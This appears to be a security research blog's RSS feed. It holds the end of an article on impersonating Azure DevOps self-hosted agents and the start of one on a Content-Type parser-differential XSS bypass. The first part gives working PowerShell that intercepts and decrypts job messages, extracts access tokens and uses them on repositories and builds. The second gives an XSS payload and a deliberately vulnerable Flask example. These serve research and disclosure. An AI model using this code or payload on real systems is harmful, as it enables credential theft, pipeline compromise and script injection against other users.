</span><span class="nv">$sessionsUrl</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"</span><span class="nv">$serverUrl</span><span class="s2">/_apis/distributedtask/pools/</span><span class="nv">$poolId</span><span class="s2">/sessions?api-version=7.0"</span><span class="w">
</span><span class="nv">$sessionResponse</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Invoke-RestMethod</span><span class="w"> </span><span class="nt">-Uri</span><span class="w"> </span><span class="nv">$sessionsUrl</span><span class="w"> </span><span class="nt">-Headers</span><span class="w"> </span><span class="nv">$headers</span><span class="w"> </span><span class="nt">-Method</span><span class="w"> </span><span class="nx">POST</span><span class="w"> </span><span class="nt">-Body</span><span class="w"> </span><span class="nv">$sessionBody</span><span class="w"> </span><span class="nt">-ContentType</span><span class="w"> </span><span class="s2">"application/json"</span><span class="w">
</span></code></pre></div></div>

<p>The server returns the session AES key encrypted with the provided RSA public key, so we need to decrypt it accordingly before using it:</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$encryptedSessionKey</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">Convert</span><span class="p">]::</span><span class="n">FromBase64String</span><span class="p">(</span><span class="nv">$sessionResponse</span><span class="o">.</span><span class="nf">encryptionKey</span><span class="o">.</span><span class="nf">value</span><span class="p">)</span><span class="w">
</span><span class="nv">$sessionAesKey</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$rsa</span><span class="o">.</span><span class="nf">Decrypt</span><span class="p">(</span><span class="nv">$encryptedSessionKey</span><span class="p">,</span><span class="w"> </span><span class="p">[</span><span class="n">System.Security.Cryptography.RSAEncryptionPadding</span><span class="p">]::</span><span class="nx">OaepSHA1</span><span class="p">)</span><span class="w">
</span></code></pre></div></div>

<p>Now we can start polling and decrypting the intercepted messages.</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$messagesUrl</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"</span><span class="nv">$serverUrl</span><span class="s2">/_apis/distributedtask/pools/</span><span class="nv">$poolId</span><span class="s2">/messages?sessionId=</span><span class="si">$(</span><span class="nv">$sessionResponse</span><span class="o">.</span><span class="nf">sessionId</span><span class="si">)</span><span class="s2">&amp;api-version=7.0"</span><span class="w">

</span><span class="kr">while</span><span class="w"> </span><span class="p">(</span><span class="bp">$true</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nv">$response</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Invoke-RestMethod</span><span class="w"> </span><span class="nt">-Uri</span><span class="w"> </span><span class="nv">$messagesUrl</span><span class="w"> </span><span class="nt">-Headers</span><span class="w"> </span><span class="nv">$headers</span><span class="w"> </span><span class="nt">-Method</span><span class="w"> </span><span class="nx">GET</span><span class="w"> </span><span class="nt">-TimeoutSec</span><span class="w"> </span><span class="nx">5</span><span class="w">

    </span><span class="kr">if</span><span class="w"> </span><span class="p">(</span><span class="nv">$response</span><span class="w"> </span><span class="o">-and</span><span class="w"> </span><span class="nv">$response</span><span class="o">.</span><span class="nf">body</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="nv">$encBytes</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">Convert</span><span class="p">]::</span><span class="n">FromBase64String</span><span class="p">(</span><span class="nv">$response</span><span class="o">.</span><span class="nf">body</span><span class="p">)</span><span class="w">
        </span><span class="nv">$ivBytes</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">Convert</span><span class="p">]::</span><span class="n">FromBase64String</span><span class="p">(</span><span class="nv">$response</span><span class="o">.</span><span class="nf">iv</span><span class="p">)</span><span class="w">

        </span><span class="nv">$aes</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">System.Security.Cryptography.Aes</span><span class="p">]::</span><span class="n">Create</span><span class="p">()</span><span class="w">
        </span><span class="nv">$aes</span><span class="o">.</span><span class="nf">Key</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$sessionAesKey</span><span class="w">
        </span><span class="nv">$aes</span><span class="o">.</span><span class="nf">IV</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$ivBytes</span><span class="w">
        </span><span class="nv">$aes</span><span class="o">.</span><span class="nf">Mode</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">System.Security.Cryptography.CipherMode</span><span class="p">]::</span><span class="n">CBC</span><span class="w">
        </span><span class="nv">$aes</span><span class="o">.</span><span class="nf">Padding</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">System.Security.Cryptography.PaddingMode</span><span class="p">]::</span><span class="n">PKCS7</span><span class="w">

        </span><span class="nv">$decryptor</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$aes</span><span class="o">.</span><span class="nf">CreateDecryptor</span><span class="p">()</span><span class="w">
        </span><span class="nv">$decryptedBytes</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$decryptor</span><span class="o">.</span><span class="nf">TransformFinalBlock</span><span class="p">(</span><span class="nv">$encBytes</span><span class="p">,</span><span class="w"> </span><span class="nx">0</span><span class="p">,</span><span class="w"> </span><span class="nv">$encBytes</span><span class="o">.</span><span class="nf">Length</span><span class="p">)</span><span class="w">
        </span><span class="nv">$decryptedMessage</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">Text.Encoding</span><span class="p">]::</span><span class="n">UTF8.GetString</span><span class="p">(</span><span class="nv">$decryptedBytes</span><span class="p">)</span><span class="w">
    </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>Depending on the pipeline, you will see different access tokens. The logic is as follows — for example, if the pipeline is a pure build-and-deploy pipeline, this means that our token will have git access so it can clone the codebase in order to build it… Imagine an infra deployment pipeline :)</p>

<p><img src="/research/articles/ArticleNo0015/img2.png" alt="" /></p>

<p>An interesting side note: Azure DevOps sends regex patterns to the agent so it can redact sensitive values from pipeline logs. That’s the <strong>secret masking configuration</strong>. The irony — the mask patterns ARE the secrets themselves. Azure DevOps is essentially saying ‘hide these values from logs,’ and to do that, it sends the actual secret values as regex patterns. So even if you missed the token in the endpoints section, you get it here in the mask array.</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
	</span><span class="nl">"mask"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
		</span><span class="p">{</span><span class="w">
			</span><span class="nl">"type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"regex"</span><span class="p">,</span><span class="w">
			</span><span class="nl">"value"</span><span class="p">:</span><span class="w"> </span><span class="s2">"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIs..."</span><span class="w">  </span><span class="err">//</span><span class="w"> </span><span class="err">&lt;--</span><span class="w"> </span><span class="err">This</span><span class="w"> </span><span class="err">IS</span><span class="w"> </span><span class="err">the</span><span class="w"> </span><span class="err">secret</span><span class="w"> </span><span class="err">token</span><span class="w">
		</span><span class="p">}</span><span class="w">
	</span><span class="p">]</span><span class="w">
</span><span class="p">}</span><span class="w"> 
</span></code></pre></div></div>

<p>As well in the endpoints:
<img src="/research/articles/ArticleNo0015/img1.png" alt="" /></p>

<p>Full PoC: https://gist.github.com/apostolovd/432ac96625097c9a2d436ae405ca00fd</p>

<p>With the auth token, we can do things like checking what’s in the repos.</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$accessToken</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"TOKEN"</span><span class="w">
</span><span class="nv">$headers</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">@{</span><span class="w">
	</span><span class="nx">Authorization</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"Bearer </span><span class="nv">$accessToken</span><span class="s2">"</span><span class="w">
	</span><span class="s2">"Content-Type"</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"application/json"</span><span class="w">
</span><span class="p">}</span><span class="w">
	
</span><span class="nv">$items</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Invoke-RestMethod</span><span class="w"> </span><span class="nt">-Uri</span><span class="w"> </span><span class="s2">"https://dev.azure.com/</span><span class="nv">$orgName</span><span class="s2">/_apis/git/repositories/</span><span class="nv">$repoId</span><span class="s2">/items?recursionLevel=Full&amp;scopePath=/&amp;api-version=7.0"</span><span class="w"> </span><span class="nt">-Headers</span><span class="w"> </span><span class="nv">$headers</span><span class="w">

</span><span class="nv">$items</span><span class="o">.</span><span class="nf">value</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">Where-Object</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="o">-not</span><span class="w"> </span><span class="bp">$_</span><span class="o">.</span><span class="nf">isFolder</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">Select-Object</span><span class="w"> </span><span class="nx">path</span><span class="w">
</span></code></pre></div></div>

<p><img src="/research/articles/ArticleNo0015/img3.png" alt="" /></p>

<p>Or trigger a build where X is the id of build:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$queueBody</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">@{</span><span class="w"> </span><span class="nx">definition</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">@{</span><span class="w"> </span><span class="nx">id</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">X</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">ConvertTo-Json</span><span class="w">
</span><span class="nx">Invoke-RestMethod</span><span class="w"> </span><span class="nt">-Uri</span><span class="w"> </span><span class="s2">"https://dev.azure.com/</span><span class="nv">$orgName</span><span class="s2">/</span><span class="nv">$projectId</span><span class="s2">/_apis/build/builds?api-version=7.0"</span><span class="w"> </span><span class="nt">-Headers</span><span class="w"> </span><span class="nv">$headers</span><span class="w"> </span><span class="nt">-Method</span><span class="w"> </span><span class="nx">POST</span><span class="w"> </span><span class="nt">-Body</span><span class="w"> </span><span class="nv">$queueBody</span><span class="w">
</span></code></pre></div></div>

<p>For more endpoints, consult your Azure documentation and enjoy your cloud services escalation path via self-hosted agents.</p>
]]></content:encoded>
    </item>
    
    <item>
      <title>Parse and Parse: MIME Validation Bypass to XSS via Parser Differential</title>
      <link>https://lab.ctbb.show/research/parse-and-parse-mime-validation-bypass-to-xss-via-parser-differential</link>
      <guid isPermaLink="true">https://lab.ctbb.show/research/parse-and-parse-mime-validation-bypass-to-xss-via-parser-differential</guid>
      <pubDate>Fri, 30 Jan 2026 00:00:00 +0000</pubDate>
      <author>Tang Cheuk Hei</author>
      <description>This research is an extension of Content-Type research from BlackFan. More specifically, the response Content-Type tricks. Unfortunately, the multiple Content-Type trick is not clearly explained by BlackFan. Therefore, I&apos;ll explain and demonstrate how a single comma character can cause a parsing difference between the browser and different MIME type parser libraries.</description>
      <content:encoded><![CDATA[<h1 id="parse-and-parse-mime-validation-bypass-to-xss-via-parser-differential">Parse and Parse: MIME Validation Bypass to XSS via Parser Differential</h1>

<p>This research is an extension of <a href="https://github.com/BlackFan/content-type-research/tree/master"><code class="language-plaintext highlighter-rouge">Content-Type</code> research from BlackFan</a>. More specifically, the <a href="https://github.com/BlackFan/content-type-research/blob/master/XSS.md#response-content-type-tricks">response <code class="language-plaintext highlighter-rouge">Content-Type</code> tricks</a>. Unfortunately, the multiple <code class="language-plaintext highlighter-rouge">Content-Type</code> trick is not clearly explained by BlackFan. Therefore, I’ll explain and demonstrate how a single comma character can cause parsing difference between the browser and different MIME type parser libraries.</p>

<blockquote>
  <p>Parser differential (parser confusion, parser mismatch, or whatever you call it) happens when two or more parsers that parse (process) the exact same input, will produce two or more different results.</p>
</blockquote>

<p>Section “<a href="#summary-table">Summary Table</a>” shows all the libraries/frameworks that I’ve tested!</p>

<h2 id="introduction">Introduction</h2>

<p>Imagine the following Flask web application, where it allows users to return an HTTP response with arbitrary body data and <code class="language-plaintext highlighter-rouge">Content-Type</code> response header:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/'</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">index</span><span class="p">():</span>
    <span class="n">data</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">args</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'data'</span><span class="p">,</span> <span class="s">'Hello World!'</span><span class="p">)</span>
    <span class="n">contentType</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">args</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'type'</span><span class="p">,</span> <span class="s">'text/plain'</span><span class="p">)</span>
    <span class="p">[...]</span>
    <span class="n">response</span> <span class="o">=</span> <span class="n">make_response</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
    <span class="n">response</span><span class="p">.</span><span class="n">headers</span><span class="p">[</span><span class="s">'X-Content-Type-Options'</span><span class="p">]</span> <span class="o">=</span> <span class="s">'nosniff'</span>
    <span class="n">response</span><span class="p">.</span><span class="n">headers</span><span class="p">[</span><span class="s">'Content-Type'</span><span class="p">]</span> <span class="o">=</span> <span class="n">contentType</span>
    <span class="k">return</span> <span class="n">response</span>
</code></pre></div></div>

<p>Of course, this is clearly vulnerable to reflected XSS by setting <code class="language-plaintext highlighter-rouge">Content-Type</code> header’s value to <code class="language-plaintext highlighter-rouge">text/html</code>, so that the browser will parse and render the response body data as HTML code. Therefore, the developer implemented the following validation, which parses the <code class="language-plaintext highlighter-rouge">type</code> value via library <a href="https://docs.python.org/3/library/email.message.html"><code class="language-plaintext highlighter-rouge">email.message</code></a>, and the parsed value must be string <code class="language-plaintext highlighter-rouge">application/json</code>:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">email.message</span> <span class="kn">import</span> <span class="n">Message</span>

<span class="k">def</span> <span class="nf">parseContentTypeHeader</span><span class="p">(</span><span class="n">contentTypeHeader</span><span class="p">):</span>
    <span class="n">msg</span> <span class="o">=</span> <span class="n">Message</span><span class="p">()</span>
    <span class="n">msg</span><span class="p">[</span><span class="s">'Content-Type'</span><span class="p">]</span> <span class="o">=</span> <span class="n">contentTypeHeader</span>
    <span class="k">return</span> <span class="n">msg</span><span class="p">.</span><span class="n">get_content_type</span><span class="p">()</span>

<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/'</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">index</span><span class="p">():</span>
    <span class="p">[...]</span>
    <span class="n">contentType</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">args</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'type'</span><span class="p">,</span> <span class="s">'text/plain'</span><span class="p">)</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">parsedContentType</span> <span class="p">:</span><span class="o">=</span> <span class="n">parseContentTypeHeader</span><span class="p">(</span><span class="n">contentType</span><span class="p">))</span> <span class="o">!=</span> <span class="s">'application/json'</span><span class="p">:</span>
        <span class="n">response</span> <span class="o">=</span> <span class="n">make_response</span><span class="p">(</span><span class="sa">f</span><span class="s">'Invalid Content-Type: </span><span class="si">{</span><span class="n">parsedContentType</span><span class="si">}</span><span class="s">'</span><span class="p">)</span>
        <span class="n">response</span><span class="p">.</span><span class="n">headers</span><span class="p">[</span><span class="s">'X-Content-Type-Options'</span><span class="p">]</span> <span class="o">=</span> <span class="s">'nosniff'</span>
        <span class="n">response</span><span class="p">.</span><span class="n">headers</span><span class="p">[</span><span class="s">'Content-Type'</span><span class="p">]</span> <span class="o">=</span> <span class="s">'text/plain'</span>
        <span class="k">return</span> <span class="n">response</span>

    <span class="p">[...]</span>
    <span class="n">response</span><span class="p">.</span><span class="n">headers</span><span class="p">[</span><span class="s">'Content-Type'</span><span class="p">]</span> <span class="o">=</span> <span class="n">contentType</span>
    <span class="k">return</span> <span class="n">response</span>
</code></pre></div></div>

<p>However, the developer used a dangerous coding pattern, which is <strong>using the original non-validated value after validating the value</strong>. In this case, the response header <code class="language-plaintext highlighter-rouge">Content-Type</code>’s value should be <code class="language-plaintext highlighter-rouge">parsedContentType</code> instead of <code class="language-plaintext highlighter-rouge">contentType</code> after the validation. Hence, there’s a potential parser differential vulnerability in here, where both the browser and the web application sees the <code class="language-plaintext highlighter-rouge">Content-Type</code> header’s value differently.</p>

<p>According to <a href="https://github.com/BlackFan/content-type-research/blob/master/XSS.md#response-content-type-tricks">the research from BlackFan</a>, we can do so with the following payload:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/?type=application/json;,text/html
</code></pre></div></div>

<ul>
  <li><a href="https://docs.python.org/3/library/email.message.html#email.message.EmailMessage.get_content_type">Library <code class="language-plaintext highlighter-rouge">email.message</code> method <code class="language-plaintext highlighter-rouge">get_content_type</code></a> parsed it as <code class="language-plaintext highlighter-rouge">application/json</code></li>
  <li>Browser (Chromium-based and Firefox) parsed it as <code class="language-plaintext highlighter-rouge">text/html</code></li>
</ul>

<p><img src="/research/articles/ArticleNo0014/image1.png" alt="" /></p>

<p><img src="/research/articles/ArticleNo0014/image2.png" alt="" /></p>

<p>But why can a single comma character cause that parsing difference?</p>

<h2 id="list-based-and-singleton-fields">List-Based and Singleton Fields</h2>

<p>According to <a href="https://datatracker.ietf.org/doc/html/rfc9110#section-5.6.1">RFC9110 (HTTP Semantics)</a>, headers (fields) value can be <strong>multivalued (list-based fields)</strong>, which means that headers’ value can be separated via a comma character. On the other hand, headers that are not list-based are called <a href="https://datatracker.ietf.org/doc/html/rfc9110#section-5.5-6">singleton fields</a>, which only accepts one value.</p>

<p>List-based field example, header <a href="https://datatracker.ietf.org/doc/html/rfc9110#section-12.5.1"><code class="language-plaintext highlighter-rouge">Accept</code></a>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8
</code></pre></div></div>

<p>Notably, not all headers can be a list-based field. Although the RFC didn’t explicitly mention which headers must be a list-based or singleton field, the <a href="https://datatracker.ietf.org/doc/html/rfc5234">ABNF rule</a> did define headers’ syntax. If <a href="https://datatracker.ietf.org/doc/html/rfc9110#name-lists-rule-abnf-extension">list operator (<code class="language-plaintext highlighter-rouge">#</code>)</a> or equivalent <a href="https://datatracker.ietf.org/doc/html/rfc9110#name-sender-requirements">repetition with comma delimiters</a> (e.g., <code class="language-plaintext highlighter-rouge">1#element</code> or <code class="language-plaintext highlighter-rouge">element *( OWS "," OWS element )</code>) is defined in the ABNF rule, then the header must be list-based. For example, <a href="https://datatracker.ietf.org/doc/html/rfc9110#section-12.5.1-3">header <code class="language-plaintext highlighter-rouge">Accept</code>’s syntax</a>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Accept = #( media-range [ weight ] )
</code></pre></div></div>

<p>That brings us this question: Is <code class="language-plaintext highlighter-rouge">Content-Type</code> header a singleton or list-based field?</p>

<p>Based on <a href="https://datatracker.ietf.org/doc/html/rfc9110#section-8.3-2">its ABNF rule</a>, the header can only contain one single value, <a href="https://datatracker.ietf.org/doc/html/rfc9110#section-8.3.1-2"><code class="language-plaintext highlighter-rouge">media-type</code></a>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Content-Type = media-type
</code></pre></div></div>

<p>Therefore, <strong><code class="language-plaintext highlighter-rouge">Content-Type</code> header must be a singleton field</strong>.</p>

<h2 id="how-chromium-parses-content-type-response-header">How Chromium Parses <em>Content-Type</em> Response Header</h2>

<p>From what I’m aware of, Firefox and Chromium-based browsers treat <code class="language-plaintext highlighter-rouge">Content-Type</code> response header as a list-based field, which clearly does NOT comply with the specification:</p>

<blockquote>
  <p>Although <code class="language-plaintext highlighter-rouge">Content-Type</code> is <strong>defined as a <a href="https://datatracker.ietf.org/doc/html/rfc9110#section-5.5-6">singleton field</a></strong>, it is sometimes incorrectly generated multiple times, resulting in a combined field value that appears to be a list. <strong>Recipients often attempt to handle this error by using the last syntactically valid member of the list</strong>, leading to potential interoperability and security issues if different implementations have different error handling behaviors.</p>

  <ul>
    <li><a href="https://datatracker.ietf.org/doc/html/rfc9110#section-8.3-7">https://datatracker.ietf.org/doc/html/rfc9110#section-8.3-7</a></li>
  </ul>
</blockquote>

<p>In this section, I’ll focus on Chromium parsing logic.</p>

<h3 id="content-type-response-header-is-not-really-a-singleton-field-"><em>Content-Type</em> Response Header Is Not Really a Singleton Field :(</h3>

<p>In Chromium, it’ll parse list-based response headers by checking if the header can be coalesced. If the header is non-coalescing, the header should be treated as a singleton field.</p>

<p><a href="https://source.chromium.org/chromium/chromium/src/+/main:net/http/http_util.cc;l=434-443;drc=7587309936e5da8661bdbf0475dc1d15ee913cca"><code class="language-plaintext highlighter-rouge">net/http/http_util.cc</code> line 434 - 443</a>:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">bool</span> <span class="n">HttpUtil</span><span class="o">::</span><span class="n">IsNonCoalescingHeader</span><span class="p">(</span><span class="n">std</span><span class="o">::</span><span class="n">string_view</span> <span class="n">name</span><span class="p">)</span> <span class="p">{</span>
  <span class="p">[...]</span>
  <span class="k">static</span> <span class="k">constexpr</span> <span class="n">std</span><span class="o">::</span><span class="n">string_view</span> <span class="n">kNonCoalescingHeaders</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span>
      <span class="s">"date"</span><span class="p">,</span> <span class="s">"expires"</span><span class="p">,</span> <span class="s">"last-modified"</span><span class="p">,</span>
      <span class="s">"location"</span><span class="p">,</span>  <span class="c1">// See bug 1050541 for details</span>
      <span class="s">"retry-after"</span><span class="p">,</span> <span class="s">"set-cookie"</span><span class="p">,</span>
      <span class="c1">// The format of auth-challenges mixes both space separated tokens and</span>
      <span class="c1">// comma separated properties, so coalescing on comma won't work.</span>
      <span class="s">"www-authenticate"</span><span class="p">,</span> <span class="s">"proxy-authenticate"</span><span class="p">,</span>
      <span class="c1">// STS specifies that UAs must not process any STS headers after the first</span>
      <span class="c1">// one.</span>
      <span class="s">"strict-transport-security"</span><span class="p">};</span>
  <span class="p">[...]</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Based on the above list, it seems like header <code class="language-plaintext highlighter-rouge">Content-Type</code> could be coalesced, as it’s not in the list. Does that mean Chromium treats it as a list-based field?</p>

<p>In response header parsing logic, class <code class="language-plaintext highlighter-rouge">HttpResponseHeaders</code> method <code class="language-plaintext highlighter-rouge">Parse</code>, Chromium calls method <code class="language-plaintext highlighter-rouge">AddHeader</code> on each header:</p>

<p><a href="https://source.chromium.org/chromium/chromium/src/+/main:net/http/http_response_headers.cc;l=660-665;drc=7cac9cac0b4037c8b9b9d95d7e260c1bc348594c"><code class="language-plaintext highlighter-rouge">net/http/http_response_headers.cc</code> line 660 - 665</a>:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="n">HttpResponseHeaders</span><span class="o">::</span><span class="n">Parse</span><span class="p">(</span><span class="n">std</span><span class="o">::</span><span class="n">string_view</span> <span class="n">raw_input</span><span class="p">)</span> <span class="p">{</span>
  <span class="p">[...]</span>
  <span class="k">while</span> <span class="p">(</span><span class="n">headers</span><span class="p">.</span><span class="n">GetNext</span><span class="p">())</span> <span class="p">{</span>
    <span class="n">AddHeader</span><span class="p">(</span><span class="n">status_line_len</span> <span class="o">+</span> <span class="n">headers</span><span class="p">.</span><span class="n">name_begin</span><span class="p">(),</span>
              <span class="n">status_line_len</span> <span class="o">+</span> <span class="n">headers</span><span class="p">.</span><span class="n">name_end</span><span class="p">(),</span>
              <span class="n">status_line_len</span> <span class="o">+</span> <span class="n">headers</span><span class="p">.</span><span class="n">values_begin</span><span class="p">(),</span>
              <span class="n">status_line_len</span> <span class="o">+</span> <span class="n">headers</span><span class="p">.</span><span class="n">values_end</span><span class="p">(),</span> <span class="n">ContainsCommas</span><span class="o">::</span><span class="n">kMaybe</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="p">[...]</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Which appends the header to the <a href="https://source.chromium.org/chromium/chromium/src/+/main:net/http/http_response_headers.h;l=578;drc=bf712ec1a13783224debb691ba88ad5c15b93194">parsed header vector (<code class="language-plaintext highlighter-rouge">parsed_</code>)</a> and decides if the header is a list-based or singleton field:</p>

<p><a href="https://source.chromium.org/chromium/chromium/src/+/main:net/http/http_response_headers.cc;l=954-964;drc=7cac9cac0b4037c8b9b9d95d7e260c1bc348594c"><code class="language-plaintext highlighter-rouge">net/http/http_response_headers.cc</code> line 954 - 964</a>:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="n">HttpResponseHeaders</span><span class="o">::</span><span class="n">AddHeader</span><span class="p">(</span><span class="kt">size_t</span> <span class="n">name_begin</span><span class="p">,</span>
                                    <span class="kt">size_t</span> <span class="n">name_end</span><span class="p">,</span>
                                    <span class="kt">size_t</span> <span class="n">values_begin</span><span class="p">,</span>
                                    <span class="kt">size_t</span> <span class="n">values_end</span><span class="p">,</span>
                                    <span class="n">ContainsCommas</span> <span class="n">contains_commas</span><span class="p">)</span> <span class="p">{</span>
  <span class="c1">// If the header can be coalesced, then we should split it up.</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">values_begin</span> <span class="o">==</span> <span class="n">values_end</span> <span class="o">||</span>
      <span class="n">HttpUtil</span><span class="o">::</span><span class="n">IsNonCoalescingHeader</span><span class="p">(</span><span class="n">subrange</span><span class="p">(</span><span class="n">name_begin</span><span class="p">,</span> <span class="n">name_end</span><span class="p">))</span> <span class="o">||</span>
      <span class="n">contains_commas</span> <span class="o">==</span> <span class="n">ContainsCommas</span><span class="o">::</span><span class="n">kNo</span><span class="p">)</span> <span class="p">{</span>
    <span class="p">[...]</span>
  <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
    <span class="n">std</span><span class="o">::</span><span class="n">string_view</span> <span class="n">values</span> <span class="o">=</span> <span class="n">subrange</span><span class="p">(</span><span class="n">values_begin</span><span class="p">,</span> <span class="n">values_end</span><span class="p">);</span>
    <span class="n">HttpUtil</span><span class="o">::</span><span class="n">ValuesIterator</span> <span class="n">it</span><span class="p">(</span><span class="n">values</span><span class="p">,</span> <span class="sc">','</span><span class="p">,</span> <span class="cm">/*ignore_empty_values=*/</span><span class="nb">false</span><span class="p">);</span>
    <span class="k">while</span> <span class="p">(</span><span class="n">it</span><span class="p">.</span><span class="n">GetNext</span><span class="p">())</span> <span class="p">{</span>
      <span class="p">[...]</span>
    <span class="p">}</span>
  <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Since <code class="language-plaintext highlighter-rouge">Content-Type</code> can be coalesced and parameter <code class="language-plaintext highlighter-rouge">contains_commas</code>’s value is <a href="https://source.chromium.org/chromium/chromium/src/+/main:net/http/http_response_headers.h;l=458;drc=bf712ec1a13783224debb691ba88ad5c15b93194"><code class="language-plaintext highlighter-rouge">ContainsCommas::kMaybe</code></a>, method <code class="language-plaintext highlighter-rouge">AddHeader</code> will treat the header as list-based and split the header’s value based on the delimiter by using <a href="https://source.chromium.org/chromium/chromium/src/+/main:net/http/http_util.h;l=361-396;drc=bf712ec1a13783224debb691ba88ad5c15b93194">class <code class="language-plaintext highlighter-rouge">ValuesIterator</code></a>.</p>

<p>After that, this method will call method <code class="language-plaintext highlighter-rouge">AddToParsed</code> to append the header name and its value to the <code class="language-plaintext highlighter-rouge">parsed_</code> vector via <a href="https://en.cppreference.com/w/cpp/container/vector/emplace_back.html"><code class="language-plaintext highlighter-rouge">emplace_back</code></a>:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="n">HttpResponseHeaders</span><span class="o">::</span><span class="n">AddHeader</span><span class="p">(</span><span class="kt">size_t</span> <span class="n">name_begin</span><span class="p">,</span>
                                    <span class="kt">size_t</span> <span class="n">name_end</span><span class="p">,</span>
                                    <span class="kt">size_t</span> <span class="n">values_begin</span><span class="p">,</span>
                                    <span class="kt">size_t</span> <span class="n">values_end</span><span class="p">,</span>
                                    <span class="n">ContainsCommas</span> <span class="n">contains_commas</span><span class="p">)</span> <span class="p">{</span>
  <span class="c1">// If the header can be coalesced, then we should split it up.</span>
  <span class="k">if</span> <span class="p">([...])</span> <span class="p">{</span>
    <span class="p">[...]</span>
  <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
    <span class="p">[...]</span>
    <span class="k">while</span> <span class="p">(</span><span class="n">it</span><span class="p">.</span><span class="n">GetNext</span><span class="p">())</span> <span class="p">{</span>
      <span class="c1">// Calculate offsets of each value in [values_begin, values_end], relative</span>
      <span class="c1">// to the start of `raw_headers_`.</span>
      <span class="kt">size_t</span> <span class="n">value_begin</span> <span class="o">=</span> <span class="n">values_begin</span> <span class="o">+</span> <span class="n">it</span><span class="p">.</span><span class="n">value_begin</span><span class="p">();</span>
